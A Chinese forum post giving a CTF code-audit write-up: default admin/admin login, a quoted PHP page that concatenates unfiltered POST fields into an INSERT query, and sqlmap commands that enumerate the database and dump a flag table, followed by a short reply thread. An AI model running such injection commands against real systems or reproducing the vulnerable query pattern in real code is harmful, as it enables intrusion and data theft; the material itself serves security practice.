[CTF]代码审计
首先审计找入口点,admin目录下都可访问但是没有功能点所以没什么用还有一个入口点在login.php,默认口令admin/admin然后登录到dpt.php,新增功能的地方会跳转dptadd.php执行sql语句,可以看到dptadd.php中没有对输入参数过滤所以可以尝试进行sql注入<?phpsession_start();
require 'conn.php';
if(!isset($_SESSION['login'])){
header("location:login.php");
return;
}else{
//注入点
$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
$dpt_name=$_POST['dpt_name'];
$dpt_address=$_POST['dpt_address'];
$dpt_build_year=$_POST['dpt_build_year'];
$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
$dpt_cert_number=$_POST['dpt_cert_number'];
$dpt_telephone_number=$_POST['dpt_telephone_number'];
$mysqli->query("set names utf-8");
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
echo $sql;
if($result===true){
$mysqli->close();
header("location:dpt.php");
}else{
die(mysqli_error($mysqli));
}
}
?>
payloadsqlmap版本python .\sqlmap.py -r ".\post.txt" -p dpt_telephone_number--dbs
python .\sqlmap.py -r ".\post.txt" -p dpt_telephone_number-D sds --tables
python .\sqlmap.py -r ".\post.txt" -p dpt_telephone_number-D sds -T sds_fl9g --columns
python .\sqlmap.py -r ".\post.txt" -p dpt_telephone_number-D sds -T sds_fl9g -c "flag" --dump
python .\sqlmap.py -r ".\post.txt" -p dpt_telephone_number-D sds -T sds_fl9g -C "Column,Type" --dump 没看懂 步骤可以在详细一点吗?{:301_997:} xzcnmb 发表于 2021-9-2 15:07
没看懂 步骤可以在详细一点吗?
跟进login.php,然后弱口令登录之后跳到dpt.php,然后有个功能点是添加数据就是上面的php内容,那条sql语句没有进行过滤,可以进行报错注入
页:
[1]